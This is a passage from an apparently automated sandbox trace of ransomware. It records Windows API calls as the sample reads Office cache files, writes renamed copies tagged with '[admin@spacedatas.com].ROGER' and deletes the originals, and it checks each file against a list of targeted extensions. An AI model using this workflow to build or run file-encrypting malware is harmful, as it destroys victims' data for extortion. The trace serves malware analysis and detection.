lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0037.414] SetEndOfFile (hFile=0x368) returned 1 [0037.415] CloseHandle (hObject=0x368) returned 1 [0037.415] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.415] SetEndOfFile (hFile=0x364) returned 1 [0037.416] CloseHandle (hObject=0x364) returned 1 [0037.416] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0037.416] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0019-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0037.417] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.417] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.417] lstrlenW (lpString=".doc") returned 4 [0037.417] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.417] lstrlenW (lpString=".docx") returned 5 [0037.417] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0037.417] lstrlenW (lpString=".pdf") returned 4 [0037.417] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.417] lstrlenW (lpString=".xls") returned 4 [0037.417] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.417] lstrlenW (lpString=".xlsx") returned 5 [0037.417] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0037.417] lstrlenW (lpString=".ppt") returned 4 [0037.417] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.417] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.417] lstrlenW (lpString=".zip") returned 4 [0037.417] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.417] lstrlenW (lpString=".rar") returned 4 [0037.417] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.417] lstrlenW (lpString=".bz2") returned 4 [0037.417] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.417] lstrlenW (lpString=".7z") returned 3 [0037.417] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.417] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.417] lstrlenW (lpString=".dbf") returned 4 [0037.417] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.417] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.417] lstrlenW (lpString=".1cd") returned 4 [0037.417] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.417] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.417] lstrlenW (lpString=".jpg") returned 4 [0037.418] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.418] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.418] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.418] lstrlenW (lpString=".doc") returned 4 [0037.418] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0037.418] lstrlenW (lpString=".docx") returned 5 [0037.418] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0037.418] lstrlenW (lpString=".pdf") returned 4 [0037.418] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0037.418] lstrlenW (lpString=".xls") returned 4 [0037.418] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0037.418] lstrlenW (lpString=".xlsx") returned 5 [0037.418] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0037.418] lstrlenW (lpString=".ppt") returned 4 [0037.418] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0037.418] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.418] lstrlenW (lpString=".zip") returned 4 [0037.418] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0037.418] lstrlenW (lpString=".rar") returned 4 [0037.418] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0037.418] lstrlenW (lpString=".bz2") returned 4 [0037.418] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0037.418] lstrlenW (lpString=".7z") returned 3 [0037.418] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0037.418] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.418] lstrlenW (lpString=".dbf") returned 4 [0037.418] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0037.418] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.418] lstrlenW (lpString=".1cd") returned 4 [0037.418] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0037.418] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0037.418] lstrlenW (lpString=".jpg") returned 4 [0037.418] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0037.419] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0037.419] lstrlenW (lpString="OutlookMUI.xml") returned 14 [0037.419] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0037.419] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=3186) returned 1 [0037.420] CloseHandle (hObject=0x364) returned 1 [0037.420] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml")) returned 0x2020 [0037.420] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0037.420] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0037.420] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.420] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.420] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0037.420] GetLastError () returned 0x0 [0037.420] ReadFile (in: hFile=0x364, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0xc72, lpOverlapped=0x0) returned 1 [0038.134] WriteFile (in: hFile=0x368, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xc80, lpOverlapped=0x0) returned 1 [0038.143] ReadFile (in: hFile=0x364, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0038.143] WriteFile (in: hFile=0x368, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0038.143] SetEndOfFile (hFile=0x368) returned 1 [0038.144] CloseHandle (hObject=0x368) returned 1 [0038.144] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.144] SetEndOfFile (hFile=0x364) returned 1 [0038.145] CloseHandle (hObject=0x364) returned 1 [0038.145] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0038.145] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml")) returned 1 [0038.145] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0038.145] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0038.145] lstrlenW (lpString=".doc") returned 4 [0038.145] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.145] lstrlenW (lpString=".docx") returned 5 [0038.145] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0038.145] lstrlenW (lpString=".pdf") returned 4 [0038.145] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.146] lstrlenW (lpString=".xls") returned 4 [0038.146] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.146] lstrlenW (lpString=".xlsx") returned 5 [0038.146] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0038.146] lstrlenW (lpString=".ppt") returned 4 [0038.146] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.146] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0038.146] lstrlenW (lpString=".zip") returned 4 [0038.146] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.146] lstrlenW (lpString=".rar") returned 4 [0038.146] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.146] lstrlenW (lpString=".bz2") returned 4 [0038.146] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.146] lstrlenW (lpString=".7z") returned 3 [0038.146] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.146] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0038.146] lstrlenW (lpString=".dbf") returned 4 [0038.146] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.146] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0038.146] lstrlenW (lpString=".1cd") returned 4 [0038.146] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.146] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0038.146] lstrlenW (lpString=".jpg") returned 4 [0038.146] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.147] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0038.147] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0038.147] lstrlenW (lpString=".doc") returned 4 [0038.147] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.147] lstrlenW (lpString=".docx") returned 5 [0038.147] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0038.147] lstrlenW (lpString=".pdf") returned 4 [0038.147] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.147] lstrlenW (lpString=".xls") returned 4 [0038.147] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.147] lstrlenW (lpString=".xlsx") returned 5 [0038.147] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0038.147] lstrlenW (lpString=".ppt") returned 4 [0038.147] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.147] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0038.147] lstrlenW (lpString=".zip") returned 4 [0038.147] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.147] lstrlenW (lpString=".rar") returned 4 [0038.147] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.147] lstrlenW (lpString=".bz2") returned 4 [0038.147] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.147] lstrlenW (lpString=".7z") returned 3 [0038.147] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.147] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0038.147] lstrlenW (lpString=".dbf") returned 4 [0038.147] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.147] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0038.147] lstrlenW (lpString=".1cd") returned 4 [0038.147] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.147] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0038.147] lstrlenW (lpString=".jpg") returned 4 [0038.147] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.148] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0038.148] lstrlenW (lpString="Setup.xml") returned 9 [0038.148] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0038.148] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=2362) returned 1 [0038.148] CloseHandle (hObject=0x364) returned 1 [0038.148] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0038.148] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0038.148] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0038.148] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.148] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.148] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0038.149] GetLastError () returned 0x0 [0038.149] ReadFile (in: hFile=0x364, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x93a, lpOverlapped=0x0) returned 1 [0038.150] WriteFile (in: hFile=0x368, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x940, lpOverlapped=0x0) returned 1 [0038.151] ReadFile (in: hFile=0x364, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0038.151] WriteFile (in: hFile=0x368, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0038.151] SetEndOfFile (hFile=0x368) returned 1 [0038.151] CloseHandle (hObject=0x368) returned 1 [0038.152] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.152] SetEndOfFile (hFile=0x364) returned 1 [0038.152] CloseHandle (hObject=0x364) returned 1 [0038.152] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0038.153] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0038.153] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.153] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.153] lstrlenW (lpString=".doc") returned 4 [0038.153] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.153] lstrlenW (lpString=".docx") returned 5 [0038.153] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0038.153] lstrlenW (lpString=".pdf") returned 4 [0038.153] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.153] lstrlenW (lpString=".xls") returned 4 [0038.153] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.153] lstrlenW (lpString=".xlsx") returned 5 [0038.153] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0038.153] lstrlenW (lpString=".ppt") returned 4 [0038.153] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.153] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.153] lstrlenW (lpString=".zip") returned 4 [0038.153] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.153] lstrlenW (lpString=".rar") returned 4 [0038.153] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.153] lstrlenW (lpString=".bz2") returned 4 [0038.153] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.153] lstrlenW (lpString=".7z") returned 3 [0038.154] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.154] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.154] lstrlenW (lpString=".dbf") returned 4 [0038.154] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.154] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.154] lstrlenW (lpString=".1cd") returned 4 [0038.154] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.154] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.154] lstrlenW (lpString=".jpg") returned 4 [0038.154] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.154] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.154] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.154] lstrlenW (lpString=".doc") returned 4 [0038.154] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0038.154] lstrlenW (lpString=".docx") returned 5 [0038.154] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0038.154] lstrlenW (lpString=".pdf") returned 4 [0038.154] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0038.154] lstrlenW (lpString=".xls") returned 4 [0038.154] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0038.154] lstrlenW (lpString=".xlsx") returned 5 [0038.154] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0038.154] lstrlenW (lpString=".ppt") returned 4 [0038.154] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0038.154] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.154] lstrlenW (lpString=".zip") returned 4 [0038.154] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0038.154] lstrlenW (lpString=".rar") returned 4 [0038.154] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0038.154] lstrlenW (lpString=".bz2") returned 4 [0038.154] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0038.154] lstrlenW (lpString=".7z") returned 3 [0038.154] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0038.154] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.155] lstrlenW (lpString=".dbf") returned 4 [0038.155] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0038.155] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.155] lstrlenW (lpString=".1cd") returned 4 [0038.155] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0038.155] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0038.155] lstrlenW (lpString=".jpg") returned 4 [0038.155] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0038.155] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0038.155] lstrlenW (lpString="InfoPathMUI.xml") returned 15 [0038.155] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0038.156] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=1231) returned 1 [0038.156] CloseHandle (hObject=0x364) returned 1 [0038.156] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml")) returned 0x2020 [0038.156] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0038.156] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0038.156] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.156] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.156] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0038.156] GetLastError () returned 0x0 [0038.157] ReadFile (in: hFile=0x364, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x4cf, lpOverlapped=0x0) returned 1 [0038.158] WriteFile (in: hFile=0x368, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x4d0, lpOverlapped=0x0) returned 1 [0038.159] ReadFile (in: hFile=0x364, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, 